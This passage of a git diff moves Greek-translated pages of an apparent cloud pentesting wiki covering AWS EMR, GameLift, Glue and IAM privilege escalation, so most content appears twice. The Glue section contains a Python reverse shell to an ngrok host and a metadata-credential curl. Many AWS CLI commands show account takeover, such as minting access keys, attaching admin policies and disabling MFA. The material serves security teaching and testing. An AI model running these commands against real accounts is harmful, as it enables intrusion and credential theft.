InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc + +# Wait 1min and connect via ssh to an EC2 instance of the cluster) +aws emr describe-cluster --cluster-id +# In MasterPublicDnsName you can find the DNS to connect to the master instance +## You cna also get this info listing EC2 instances +``` +Σημειώστε πώς ένα **EMR role** ορίζεται στο `--service-role` και ένα **ec2 role** ορίζεται στο `--ec2-attributes` μέσα στο `InstanceProfile`. Ωστόσο, αυτή η τεχνική επιτρέπει μόνο την κλοπή των credentials του EC2 role (καθώς θα συνδεθείτε μέσω ssh) και όχι του EMR IAM Role. + +**Πιθανός Αντίκτυπος:** Privesc στο EC2 service role που ορίζεται. + +### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` + +Με αυτά τα δικαιώματα, ένας επιτιθέμενος μπορεί να εισέλθει στο **AWS console**, να δημιουργήσει ένα Notebook και να αποκτήσει πρόσβαση σε αυτό για να κλέψει τον IAM Role. + +> [!CAUTION] +> Ακόμα κι αν επισυνάψετε έναν IAM role στην notebook instance, στις δοκιμές μου παρατήρησα ότι κατάφερα να κλέψω AWS managed credentials και όχι creds που σχετίζονται με τον IAM role. + +**Πιθανός Αντίκτυπος:** Privesc σε AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +### `elasticmapreduce:OpenEditorInConsole` + +Μόνο με αυτή την άδεια, ένας επιτιθέμενος θα μπορεί να έχει πρόσβαση στο **Jupyter Notebook** και να κλέψει τον **IAM role** που του αντιστοιχεί.\ +The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` + +> [!CAUTION] +> Ακόμα κι αν επισυνάψετε έναν IAM role στην notebook instance, στις δοκιμές μου παρατήρησα ότι κατάφερα να κλέψω AWS managed credentials και όχι creds που σχετίζονται με τον IAM role. + +**Πιθανός Αντίκτυπος:** Privesc σε AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md deleted file mode 100644 index e6491fb17..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - Gamelift - -{{#include ../../../banners/hacktricks-training.md}} - -### `gamelift:RequestUploadCredentials` - -Με αυτή την άδεια, ένας επιτιθέμενος μπορεί να ανακτήσει ένα **φρέσκο σύνολο διαπιστευτηρίων για χρήση κατά την ανέβασμα** ενός νέου συνόλου αρχείων κατασκευής παιχνιδιών στο Amazon GameLift's Amazon S3. Θα επιστρέψει **διαπιστευτήρια ανέβασμα S3**. -```bash -aws gamelift request-upload-credentials \ ---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 -``` -## Αναφορές - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md new file mode 100644 index 000000000..99dea9ba0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md @@ -0,0 +1,16 @@ +# AWS - Gamelift + +{{#include ../../../../banners/hacktricks-training.md}} + +### `gamelift:RequestUploadCredentials` + +Με αυτήν την άδεια, ένας επιτιθέμενος μπορεί να ανακτήσει ένα **φρέσκο σύνολο credentials για χρήση όταν κάνει uploading** ενός νέου συνόλου game build files στο Amazon GameLift's Amazon S3. Θα επιστρέψει **S3 upload credentials**. +```bash +aws gamelift request-upload-credentials \ +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +``` +## Αναφορές + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md deleted file mode 100644 index 8b6893371..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ /dev/null @@ -1,86 +0,0 @@ -# AWS - Glue Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## glue - -### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) - -Χρήστες με αυτές τις άδειες μπορούν να **ρυθμίσουν ένα νέο AWS Glue development endpoint**, **αναθέτοντας έναν υπάρχοντα ρόλο υπηρεσίας που μπορεί να αναληφθεί από το Glue** με συγκεκριμένες άδειες σε αυτό το endpoint. - -Μετά τη ρύθμιση, ο **επιτιθέμενος μπορεί να SSH στο instance του endpoint**, και να κλέψει τα IAM credentials του ανατεθέντος ρόλου: -```bash -# Create endpoint -aws glue create-dev-endpoint --endpoint-name \ ---role-arn \ ---public-key file:///ssh/key.pub - -# Get the public address of the instance -## You could also use get-dev-endpoints -aws glue get-dev-endpoint --endpoint-name privesctest - -# SSH with the glue user -ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com -``` -Για σκοπούς μυστικότητας, συνιστάται η χρήση των IAM διαπιστευτηρίων από μέσα στην εικονική μηχανή Glue. - -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας glue που έχει καθοριστεί. - -### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) - -Χρήστες με αυτή την άδεια μπορούν να **αλλάξουν το υπάρχον κλειδί SSH** του endpoint ανάπτυξης Glue, **επιτρέποντας την πρόσβαση μέσω SSH σε αυτό**. Αυτό επιτρέπει στον επιτιθέμενο να εκτελεί εντολές με τα δικαιώματα του συνημμένου ρόλου του endpoint: -```bash -# Change public key to connect -aws glue --endpoint-name target_endpoint \ ---public-key file:///ssh/key.pub - -# Get the public address of the instance -## You could also use get-dev-endpoints -aws glue get-dev-endpoint --endpoint-name privesctest - -# SSH with the glue user -ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com -``` -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας glue που χρησιμοποιείται. - -### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) - -Χρήστες με **`iam:PassRole`** σε συνδυασμό με είτε **`glue:CreateJob` είτε `glue:UpdateJob`**, και είτε **`glue:StartJobRun` είτε `glue:CreateTrigger`** μπορούν να **δημιουργήσουν ή να ενημερώσουν μια εργασία AWS Glue**, συνδέοντας οποιονδήποτε **λογαριασμό υπηρεσίας Glue**, και να ξεκινήσουν την εκτέλεση της εργασίας. Οι δυνατότητες της εργασίας περιλαμβάνουν την εκτέλεση αυθαίρετου κώδικα Python, ο οποίος μπορεί να εκμεταλλευτεί για να δημιουργήσει ένα reverse shell. Αυτό το reverse shell μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξάγει τα **διαπιστευτήρια IAM** του ρόλου που συνδέεται με την εργασία Glue, οδηγώντας σε πιθανή μη εξουσιοδοτημένη πρόσβαση ή ενέργειες με βάση τις άδειες αυτού του ρόλου: -```bash -# Content of the python script saved in s3: -#import socket,subprocess,os -#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) -#s.connect(("2.tcp.ngrok.io",11216)) -#os.dup2(s.fileno(),0) -#os.dup2(s.fileno(),1) -#os.dup2(s.fileno(),2) -#p=subprocess.call(["/bin/sh","-i"]) -#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy - - -# A Glue role with admin access was created -aws glue create-job \ ---name privesctest \ ---role arn:aws:iam::93424712358:role/GlueAdmin \ ---command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' - -# You can directly start the job -aws glue start-job-run --job-name privesctest -# Or you can create a trigger to start it -aws glue create-trigger --name triggerprivesc --type SCHEDULED \ ---actions '[{"JobName": "privesctest"}]' --start-on-creation \ ---schedule "0/5 * * * * *" #Every 5mins, feel free to change -``` -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας glue που καθορίζεται. - -### `glue:UpdateJob` - -Μόνο με την άδεια ενημέρωσης, ένας επιτιθέμενος θα μπορούσε να κλέψει τα IAM Credentials του ήδη συνημμένου ρόλου. - -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας glue που είναι συνημμένος. - -## Αναφορές - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md new file mode 100644 index 000000000..7134106a4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md @@ -0,0 +1,86 @@ +# AWS - Glue Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## glue + +### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) + +Χρήστες με αυτά τα δικαιώματα μπορούν να **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** με συγκεκριμένα δικαιώματα για αυτό το endpoint. + +Μετά τη ρύθμιση, ο **attacker can SSH into the endpoint's instance**, και να κλέψει τα IAM credentials του assigned role: +```bash +# Create endpoint +aws glue create-dev-endpoint --endpoint-name \ +--role-arn \ +--public-key file:///ssh/key.pub + +# Get the public address of the instance +## You could also use get-dev-endpoints +aws glue get-dev-endpoint --endpoint-name privesctest + +# SSH with the glue user +ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com +``` +Για λόγους απόκρυψης, συνιστάται να χρησιμοποιήσετε τα IAM credentials από το εσωτερικό της Glue εικονικής μηχανής. + +**Πιθανός Αντίκτυπος:** Privesc στον καθορισμένο glue service role. + +### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) + +Οι χρήστες με αυτή την άδεια μπορούν να **τροποποιήσουν το SSH key ενός υπάρχοντος Glue development endpoint**, **επιτρέποντας SSH πρόσβαση σε αυτό**. Αυτό επιτρέπει στον attacker να εκτελεί εντολές με τα προνόμια του role που είναι συνδεδεμένο με το endpoint: +```bash +# Change public key to connect +aws glue --endpoint-name target_endpoint \ +--public-key file:///ssh/key.pub + +# Get the public address of the instance +## You could also use get-dev-endpoints +aws glue get-dev-endpoint --endpoint-name privesctest + +# SSH with the glue user +ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com +``` +**Πιθανός Αντίκτυπος:** Privesc στο glue service role που χρησιμοποιείται. + +### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) + +Οι χρήστες με **`iam:PassRole`** σε συνδυασμό είτε με **`glue:CreateJob` ή `glue:UpdateJob`**, και είτε με **`glue:StartJobRun` ή `glue:CreateTrigger`**, μπορούν να **δημιουργήσουν ή να ενημερώσουν ένα AWS Glue job**, να επισυνάψουν οποιοδήποτε **Glue service account** και να ξεκινήσουν την εκτέλεση του job. Οι δυνατότητες του job περιλαμβάνουν την εκτέλεση αυθαίρετου κώδικα Python, ο οποίος μπορεί να εκμεταλλευτεί για την εγκαθίδρυση ενός reverse shell. Αυτό το reverse shell μπορεί στη συνέχεια να χρησιμοποιηθεί για να exfiltrate τα **IAM credential**s του role που έχει επισυναφθεί στο Glue job, οδηγώντας σε πιθανή μη εξουσιοδοτημένη πρόσβαση ή ενέργειες με βάση τα δικαιώματα αυτού του role: +```bash +# Content of the python script saved in s3: +#import socket,subprocess,os +#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +#s.connect(("2.tcp.ngrok.io",11216)) +#os.dup2(s.fileno(),0) +#os.dup2(s.fileno(),1) +#os.dup2(s.fileno(),2) +#p=subprocess.call(["/bin/sh","-i"]) +#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy + + +# A Glue role with admin access was created +aws glue create-job \ +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' + +# You can directly start the job +aws glue start-job-run --job-name privesctest +# Or you can create a trigger to start it +aws glue create-trigger --name triggerprivesc --type SCHEDULED \ +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ +--schedule "0/5 * * * * *" #Every 5mins, feel free to change +``` +**Potential Impact:** Privesc στον καθορισμένο ρόλο υπηρεσίας glue. + +### `glue:UpdateJob` + +Μόνο με την άδεια ενημέρωσης, ένας επιτιθέμενος θα μπορούσε να κλέψει τα IAM Credentials του ήδη συνδεδεμένου ρόλου. + +**Potential Impact:** Privesc στον συνδεδεμένο ρόλο υπηρεσίας glue. + +## Αναφορές + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md deleted file mode 100644 index d1c2e8e21..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ /dev/null @@ -1,231 +0,0 @@ -# AWS - IAM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Για περισσότερες πληροφορίες σχετικά με το IAM, ελέγξτε: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### **`iam:CreatePolicyVersion`** - -Παρέχει τη δυνατότητα δημιουργίας μιας νέας έκδοσης πολιτικής IAM, παρακάμπτοντας την ανάγκη για άδεια `iam:SetDefaultPolicyVersion` χρησιμοποιώντας την επιλογή `--set-as-default`. Αυτό επιτρέπει τον καθορισμό προσαρμοσμένων αδειών. - -**Exploit Command:** -```bash -aws iam create-policy-version --policy-arn \ ---policy-document file:///path/to/administrator/policy.json --set-as-default -``` -**Επίπτωση:** Αυξάνει άμεσα τα προνόμια επιτρέποντας οποιαδήποτε ενέργεια σε οποιοδήποτε πόρο. - -### **`iam:SetDefaultPolicyVersion`** - -Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας πολιτικής IAM σε μια άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια αν η νέα έκδοση έχει περισσότερες άδειες. - -**Bash Command:** -```bash -aws iam set-default-policy-version --policy-arn --version-id v2 -``` -**Επίπτωση:** Έμμεση κλιμάκωση προνομίων επιτρέποντας περισσότερες άδειες. - -### **`iam:CreateAccessKey`** - -Επιτρέπει τη δημιουργία αναγνωριστικού κλειδιού πρόσβασης και μυστικού κλειδιού πρόσβασης για άλλο χρήστη, οδηγώντας σε πιθανή κλιμάκωση προνομίων. - -**Εκμετάλλευση:** -```bash -aws iam create-access-key --user-name -``` -**Επίπτωση:** Άμεση κλιμάκωση προνομίων με την ανάληψη των εκτεταμένων δικαιωμάτων άλλου χρήστη. - -### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** - -Επιτρέπει τη δημιουργία ή την ενημέρωση ενός προφίλ σύνδεσης, συμπεριλαμβανομένου του καθορισμού κωδικών πρόσβασης για τη σύνδεση στο AWS console, οδηγώντας σε άμεση κλιμάκωση προνομίων. - -**Εκμετάλλευση για Δημιουργία:** -```bash -aws iam create-login-profile --user-name target_user --no-password-reset-required \ ---password '' -``` -**Εκμετάλλευση για Ενημέρωση:** -```bash -aws iam update-login-profile --user-name target_user --no-password-reset-required \ ---password '' -``` -**Επίπτωση:** Άμεση κλιμάκωση προνομίων με την είσοδο ως "οποιοσδήποτε" χρήστης. - -### **`iam:UpdateAccessKey`** - -Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου κλειδιού πρόσβασης, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση αν ο επιτιθέμενος κατέχει το απενεργοποιημένο κλειδί. - -**Εκμετάλλευση:** -```bash -aws iam update-access-key --access-key-id --status Active --user-name -``` -**Επίπτωση:** Άμεση κλιμάκωση προνομίων επανενεργοποιώντας τα κλειδιά πρόσβασης. - -### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** - -Επιτρέπει τη δημιουργία ή την επαναφορά διαπιστευτηρίων για συγκεκριμένες υπηρεσίες AWS (π.χ., CodeCommit, Amazon Keyspaces), κληρονομώντας τα δικαιώματα του σχετικού χρήστη. - -**Εκμετάλλευση για Δημιουργία:** -```bash -aws iam create-service-specific-credential --user-name --service-name -``` -**Εκμετάλλευση για Επαναφορά:** -```bash -aws iam reset-service-specific-credential --service-specific-credential-id -``` -**Επίπτωση:** Άμεση κλιμάκωση προνομίων μέσα στις άδειες υπηρεσίας του χρήστη. - -### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** - -Επιτρέπει την προσάρτηση πολιτικών σε χρήστες ή ομάδες, κλιμακώνοντας άμεσα τα προνόμια κληρονομώντας τις άδειες της προσκολλημένης πολιτικής. - -**Εκμετάλλευση για Χρήστη:** -```bash -aws iam attach-user-policy --user-name --policy-arn "" -``` -**Εκμετάλλευση για Ομάδα:** -```bash -aws iam attach-group-policy --group-name --policy-arn "" -``` -**Επίπτωση:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε επιτρέπει η πολιτική. - -### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** - -Επιτρέπει την προσάρτηση ή την τοποθέτηση πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση κλιμάκωση προνομίων με την παροχή επιπλέον αδειών. - -**Εκμετάλλευση για Ρόλο:** -```bash -aws iam attach-role-policy --role-name --policy-arn "" -``` -**Εκμετάλλευση για Inline Policies:** -```bash -aws iam put-user-policy --user-name --policy-name "" \ ---policy-document "file:///path/to/policy.json" - -aws iam put-group-policy --group-name --policy-name "" \ ---policy-document file:///path/to/policy.json - -aws iam put-role-policy --role-name --policy-name "" \ ---policy-document file:///path/to/policy.json -``` -Μπορείτε να χρησιμοποιήσετε μια πολιτική όπως: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": ["*"], -"Resource": ["*"] -} -] -} -``` -**Επίπτωση:** Άμεση κλιμάκωση δικαιωμάτων προσθέτοντας άδειες μέσω πολιτικών. - -### **`iam:AddUserToGroup`** - -Επιτρέπει την προσθήκη του εαυτού σε μια ομάδα IAM, κλιμακώνοντας τα δικαιώματα κληρονομώντας τις άδειες της ομάδας. - -**Εκμετάλλευση:** -```bash -aws iam add-user-to-group --group-name --user-name -``` -**Επίπτωση:** Άμεση κλιμάκωση προνομίων στο επίπεδο των δικαιωμάτων της ομάδας. - -### **`iam:UpdateAssumeRolePolicy`** - -Επιτρέπει την τροποποίηση του εγγράφου πολιτικής ανάθεσης ρόλου ενός ρόλου, επιτρέποντας την ανάληψη του ρόλου και των σχετικών δικαιωμάτων του. - -**Εκμετάλλευση:** -```bash -aws iam update-assume-role-policy --role-name \ ---policy-document file:///path/to/assume/role/policy.json -``` -Όπου η πολιτική φαίνεται όπως η παρακάτω, η οποία δίνει στον χρήστη άδεια να αναλάβει τον ρόλο: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sts:AssumeRole", -"Principal": { -"AWS": "$USER_ARN" -} -} -] -} -``` -**Επίπτωση:** Άμεση κλιμάκωση προνομίων αναλαμβάνοντας τις άδειες οποιασδήποτε ρόλου. - -### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** - -Επιτρέπει την ανέβασμα ενός δημόσιου κλειδιού SSH για την αυθεντικοποίηση στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση κλιμάκωση προνομίων. - -**Εκμετάλλευση για την Ανέβασμα Κλειδιού SSH:** -```bash -aws iam upload-ssh-public-key --user-name --ssh-public-key-body -``` -**Εκμετάλλευση για την Απενεργοποίηση MFA:** -```bash -aws iam deactivate-mfa-device --user-name --serial-number -``` -**Επίπτωση:** Έμμεση κλιμάκωση προνομίων επιτρέποντας την πρόσβαση στο CodeCommit ή απενεργοποιώντας την προστασία MFA. - -### **`iam:ResyncMFADevice`** - -Επιτρέπει την επανασυγχρονισμό μιας συσκευής MFA, ενδεχομένως οδηγώντας σε έμμεση κλιμάκωση προνομίων μέσω της χειραγώγησης της προστασίας MFA. - -**Εντολή Bash:** -```bash -aws iam resync-mfa-device --user-name --serial-number \ ---authentication-code1 --authentication-code2 -``` -**Επίπτωση:** Έμμεση κλιμάκωση προνομίων προσθέτοντας ή χειρίζοντας συσκευές MFA. - -### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) - -Με αυτές τις άδειες μπορείτε να **αλλάξετε τα XML μεταδεδομένα της σύνδεσης SAML**. Στη συνέχεια, θα μπορούσατε να εκμεταλλευτείτε τη **συνομοσπονδία SAML** για να **συνδεθείτε** με οποιοδήποτε **ρόλο που το εμπιστεύεται**. - -Σημειώστε ότι κάνοντας αυτό **οι νόμιμοι χρήστες δεν θα μπορούν να συνδεθούν**. Ωστόσο, θα μπορούσατε να αποκτήσετε το XML, ώστε να βάλετε το δικό σας, να συνδεθείτε και να ρυθμίσετε το προηγούμενο. -```bash -# List SAMLs -aws iam list-saml-providers - -# Optional: Get SAML provider XML -aws iam get-saml-provider --saml-provider-arn - -# Update SAML provider -aws iam update-saml-provider --saml-metadata-document --saml-provider-arn - -## Login impersonating roles that trust the SAML provider - -# Optional: Set the previous XML back -aws iam update-saml-provider --saml-metadata-document --saml-provider-arn -``` -> [!NOTE] -> TODO: Ένα εργαλείο ικανό να δημιουργεί τα SAML metadata και να συνδέεται με έναν καθορισμένο ρόλο - -### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) - -(Δεν είμαι σίγουρος γι' αυτό) Αν ένας επιτιθέμενος έχει αυτές τις **άδειες** θα μπορούσε να προσθέσει μια νέα **Thumbprint** για να καταφέρει να συνδεθεί σε όλους τους ρόλους που εμπιστεύονται τον πάροχο. -```bash -# List providers -aws iam list-open-id-connect-providers -# Optional: Get Thumbprints used to not delete them -aws iam get-open-id-connect-provider --open-id-connect-provider-arn -# Update Thumbprints (The thumbprint is always a 40-character string) -aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 -``` -## Αναφορές - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md new file mode 100644 index 000000000..311a1fd7a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -0,0 +1,235 @@ +# AWS - IAM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Για περισσότερες πληροφορίες σχετικά με το IAM, δείτε: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### **`iam:CreatePolicyVersion`** + +Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης policy του IAM, παρακάμπτοντας την ανάγκη για την άδεια `iam:SetDefaultPolicyVersion` με τη χρήση της επιλογής `--set-as-default`. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων. + +**Εντολή Εκμετάλλευσης:** +```bash +aws iam create-policy-version --policy-arn \ +--policy-document file:///path/to/administrator/policy.json --set-as-default +``` +**Επίπτωση:** Αυξάνει άμεσα τα προνόμια επιτρέποντας οποιαδήποτε ενέργεια σε οποιονδήποτε πόρο. + +### **`iam:SetDefaultPolicyVersion`** + +Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας IAM policy σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια εάν η νέα έκδοση έχει περισσότερα δικαιώματα. + +**Εντολή Bash:** +```bash +aws iam set-default-policy-version --policy-arn --version-id v2 +``` +**Επίδραση:** Έμμεση κλιμάκωση προνομίων μέσω παροχής επιπλέον δικαιωμάτων. + +### **`iam:CreateAccessKey`** + +Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, οδηγώντας σε πιθανή κλιμάκωση προνομίων. + +**Εκμετάλλευση:** +```bash +aws iam create-access-key --user-name +``` +**Επίπτωση:** Άμεση κλιμάκωση προνομίων μέσω ανάληψης των εκτεταμένων δικαιωμάτων άλλου χρήστη. + +### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** + +Επιτρέπει τη δημιουργία ή ενημέρωση ενός προφίλ σύνδεσης, συμπεριλαμβανομένης της ρύθμισης κωδικών για σύνδεση στην κονσόλα AWS, οδηγώντας σε άμεση κλιμάκωση προνομίων. + +**Exploit for Creation:** +```bash +aws iam create-login-profile --user-name target_user --no-password-reset-required \ +--password '' +``` +**Exploit για Ενημέρωση:** +```bash +aws iam update-login-profile --user-name target_user --no-password-reset-required \ +--password '' +``` +**Επίπτωση:** Άμεση privilege escalation μέσω σύνδεσης ως "any" user. + +### **`iam:UpdateAccessKey`** + +Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου access key, που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση εάν ο attacker έχει στην κατοχή του το απενεργοποιημένο access key. + +**Exploit:** +```bash +aws iam update-access-key --access-key-id --status Active --user-name +``` +**Επίδραση:** Άμεση κλιμάκωση προνομίων με την επανενεργοποίηση access keys. + +### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** + +Επιτρέπει τη δημιουργία ή επαναφορά διαπιστευτηρίων για συγκεκριμένες υπηρεσίες AWS (π.χ., CodeCommit, Amazon Keyspaces), κληρονομώντας τα δικαιώματα του σχετιζόμενου χρήστη. + +**Exploit for Creation:** +```bash +aws iam create-service-specific-credential --user-name --service-name +``` +**Εκμετάλλευση για Επαναφορά:** +```bash +aws iam reset-service-specific-credential --service-specific-credential-id +``` +**Επίπτωση:** Άμεση κλιμάκωση προνομίων εντός των δικαιωμάτων του χρήστη στην υπηρεσία. + +### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** + +Επιτρέπει την επισύναψη policies σε χρήστες ή ομάδες, κλιμακώνοντας άμεσα τα προνόμια μέσω της κληρονομίας των δικαιωμάτων της επισυναπτόμενης policy. + +**Exploit for User:** +```bash +aws iam attach-user-policy --user-name --policy-arn "" +``` +**Exploit για Ομάδα:** +```bash +aws iam attach-group-policy --group-name --policy-arn "" +``` +**Επίπτωση:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε επιτρέπει η πολιτική. + +### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** + +Επιτρέπει την επισύναψη ή την τοποθέτηση πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση κλιμάκωση προνομίων με τη χορήγηση επιπλέον δικαιωμάτων. + +**Εκμετάλλευση για ρόλο:** +```bash +aws iam attach-role-policy --role-name --policy-arn "" +``` +**Exploit για Inline Policies:** +```bash +aws iam put-user-policy --user-name --policy-name "" \ +--policy-document "file:///path/to/policy.json" + +aws iam put-group-policy --group-name --policy-name "" \ +--policy-document file:///path/to/policy.json + +aws iam put-role-policy --role-name --policy-name "" \ +--policy-document file:///path/to/policy.json +``` +Μπορείτε να χρησιμοποιήσετε μια πολιτική όπως: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] +} +``` +**Επίπτωση:** Άμεση κλιμάκωση προνομίων με την προσθήκη δικαιωμάτων μέσω πολιτικών. + +### **`iam:AddUserToGroup`** + +Επιτρέπει να προσθέσει τον εαυτό του σε μια ομάδα IAM, κλιμακώνοντας τα προνόμια μέσω της κληρονομίας των δικαιωμάτων της ομάδας. + +**Εκμετάλλευση:** +```bash +aws iam add-user-to-group --group-name --user-name +``` +**Επίπτωση:** Άμεση κλιμάκωση προνομίων στο επίπεδο των δικαιωμάτων της ομάδας. + +### **`iam:UpdateAssumeRolePolicy`** + +Επιτρέπει την τροποποίηση του assume role policy document ενός role, επιτρέποντας την ανάληψη του role και των αντίστοιχων δικαιωμάτων του. + +**Exploit:** +```bash +aws iam update-assume-role-policy --role-name \ +--policy-document file:///path/to/assume/role/policy.json +``` +Όταν η πολιτική έχει την εξής μορφή, η οποία δίνει στον χρήστη την άδεια να αναλάβει τον ρόλο: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": 